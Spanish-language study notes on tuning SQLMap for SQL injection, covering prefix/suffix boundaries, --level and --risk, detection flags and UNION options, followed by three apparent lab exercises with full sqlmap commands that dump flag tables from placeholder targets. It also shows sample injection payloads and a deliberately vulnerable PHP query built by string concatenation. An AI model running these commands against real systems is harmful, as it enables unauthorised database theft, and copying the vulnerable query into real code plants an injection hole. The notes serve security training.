🛠️ Afinación de Ataques en SQLMap

📌 Resumen

Opciones avanzadas para ajustar vectores, límites, técnicas y detección en SQLMap para mejorar la explotación de SQLi.


🎯 Concepto General

En la mayoría de los casos, SQLMap funciona perfectamente con las opciones por defecto.
Sin embargo, algunos objetivos requieren una inyección más precisa, por lo que podemos ajustar vectores, límites y técnicas para mejorar la detección.

Cada payload utilizado por SQLMap contiene dos partes:

🔹 Vector

Es la parte central del payload, el código SQL útil que realmente ejecuta la acción.

Ejemplos:

👉 El vector es el “ataque real”.

🔹 Límites (prefix / suffix)

Son valores que SQLMap coloca antes y después del vector para que encaje correctamente en la consulta SQL vulnerada.

Ejemplo conceptual:

<prefix> VECTOR <suffix>

👉 Los límites permiten “meter” el vector en la consulta sin romperla.

Ejemplo visual simple:

Consulta del servidor:

SELECT * FROM users WHERE id = <input>

Si SQLMap mete:

<input> = 1 AND 1=1

Funciona.

Pero si la consulta es más compleja:

SELECT * FROM users WHERE id LIKE (('<input>'))

Ahora SQLMap necesita límites especiales para no romper nada.


🧩 Prefijo y Sufijo ( --prefix / --suffix )

Útil cuando SQLMap no inyecta correctamente de forma automática

Perfecto para consultas muy estrictas o con demasiados paréntesis.

Ejemplo:

sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"

Esto encierra todos los vectores enviados con:


🧠 Ejemplo claro

Consulta vulnerable real:

$query = "SELECT id,name,surname FROM users WHERE id LIKE (('" . $_GET["q"] . "')) LIMIT 0,1";

Usando prefix/suffix, SQLMap generará algo como:

SELECT id,name,surname FROM users 
WHERE id LIKE (('test%')) UNION ALL SELECT 1,2,VERSION()-- -')) LIMIT 0,1

📈 Nivel y Riesgo ( --level / --risk )

🔍 Importante

Aumentar level y risk hace que SQLMap pruebe muchos más payloads, pero también ralentiza mucho la ejecución.


⭐ --level (1–5)

Aumenta la cantidad de vectores y límites probados.
Cuanto mayor el level → más payloads → más detección → más lento.

☢️ --risk (1–3)

Activa payloads que podrían afectar la BD:
UPDATE, DELETE, INSERT, etc.


📊 Ejemplo: ver payloads con -v 3

sqlmap -u www.example.com/?id=1 -v 3 --level=5

Fragmento real:

[PAYLOAD] 1) AND 5907=7031-- AuiO
[PAYLOAD] 1'))) AND 4534=9645 AND ((('DdNs' LIKE 'DdNs

Con valores por defecto:

[PAYLOAD] 1 AND 7036=6691-- DmQN [PAYLOAD] 1') AND 9393=3783 AND ('SgYz'='SgYz


📌 Diferencia en número de payloads

Configuración Nº de Payloads
--level=1 --risk=1 ~72
--level=5 --risk=3 ~7865
⚠️ Advertencia

Para la mayoría de usuarios, NO se recomienda tocar estas opciones, salvo casos especiales (páginas de login, SQLi muy rebeldes, etc.).


⚙️ Ajustes Avanzados

Opciones especiales para detecciones muy particulares:


🔢 --code

Usado cuando TRUE y FALSE responden con códigos HTTP distintos:

--code=200


🏷️ --titles

Compara solo el contenido del <title>:

--titles


🔤 --string

Marca TRUE si aparece una cadena específica:

--string=success


📰 --text-only

Ignora etiquetas como <script>, <meta>, etc.

--text-only


🧪 Técnicas de Inyección ( --technique )

Técnicas disponibles

  • B = Boolean-based

  • E = Error-based

  • U = Union

  • S = Stacked queries

  • T = Time-based

  • Q = Inline queries

Ejemplo: desactivar time-based y stacked:

--technique=BEU


🧱 Ajustes para UNION SQLi

Algunos UNION requieren valores manuales:


🔢 --union-cols

Indica el número de columnas:

--union-cols=17

🔠 --union-char

Relleno personalizado para UNION:

--union-char='a'

📚 --union-from

Apéndice FROM extra (común en Oracle):

--union-from=users


🎯 Conclusión

SQLMap es muy potente por defecto

Pero estos ajustes permiten:

  • Ataques más precisos

  • Detección más agresiva

  • Resolver casos difíciles

  • Controlar cómo encaja el payload en la consulta

  • Personalizar el comportamiento en entornos complejos

🧪 Ejercicios Prácticos de SQLMap (Explicados)


🧩 Ejercicio 1 – Caso #5

📋 Objetivo

Obtener el contenido de la tabla flag5 explotando una vulnerabilidad SQLi en un parámetro GET.

📌 Contexto

El parámetro id es vulnerable y SQLMap no detecta correctamente la inyección con valores por defecto, por lo que es necesario aumentar la agresividad del escaneo.
{1AC2DBA8-160B-4BF5-983F-11C84CEE70A4}.png


🛠️ Comando usado

sqlmap -u "http://<IP>:<PUERTO>/case5.php?id=1" \
--batch --dump -T flag5 --risk=3 --level=5

🔍 Explicación del comando

⚠️

Este caso NO se resuelve con configuración por defecto.
Es típico de SQLi donde solo payloads más agresivos funcionan.
{C80CAED5-9057-4ACA-8631-C7CCABB32C1C}.png


🧩 Ejercicio 2 – Caso #6

📋 Objetivo

Explotar una SQLi donde la consulta SQL del servidor tiene paréntesis o comillas mal balanceadas.


📌 Contexto

El parámetro vulnerable (col) se inserta en la consulta SQL con una sintaxis especial.
SQLMap falla automáticamente, por lo que debemos ajustar el prefijo manualmente.


🛠️ Comando usado

sqlmap -u "http://<IP>:<PUERTO>/case6.php?col=id" \
--prefix='`)' --batch -T flag6 --dump

🔍 Explicación del comando

Ejemplo conceptual:

Consulta original:

SELECT * FROM table WHERE column = (`<input>`
`) UNION SELECT ...

Esto evita errores de sintaxis y permite la inyección.
{2E6C6C08-84A7-492E-84FB-CA7D648F82E1}.png


🧩 Ejercicio 3 – Caso #7

📋 Objetivo

Extraer datos usando UNION-based SQL Injection, forzando manualmente el número de columnas.


📌 Contexto

SQLMap detecta la inyección, pero no puede determinar automáticamente el número de columnas necesarias para el UNION.
{781B2E9B-A1F4-4D33-B37A-E6BF9B8F1315}.png
Se identifica manualmente que hay 5 columnas.


🛠️ Comando usado

sqlmap -u "http://<IP>:<PUERTO>/case7.php?id=1" \
-T flag7 --technique=U --union-cols=5 --dump --batch

Explicación del comando

💡

Forzar UNION acelera el ataque y evita falsos positivos.
{F976E44D-0E3F-467F-A009-DD51715D504B}.png